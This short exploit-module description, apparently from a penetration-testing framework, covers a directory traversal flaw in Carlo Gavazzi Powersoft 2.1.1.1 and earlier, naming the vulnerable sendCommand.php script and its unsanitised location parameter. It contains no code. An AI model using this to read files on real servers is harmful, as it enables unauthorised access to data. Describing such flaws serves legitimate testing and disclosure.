This module exploits a directory traversal vulnerability  
found in Carlo Gavazzi Powersoft <= 2.1.1.1. The vulnerability  
is triggered when sending a specially crafted GET request to the  
server. The location parameter of the GET request is not sanitized  
and the sendCommand.php script will automatically pull down any  
file requested
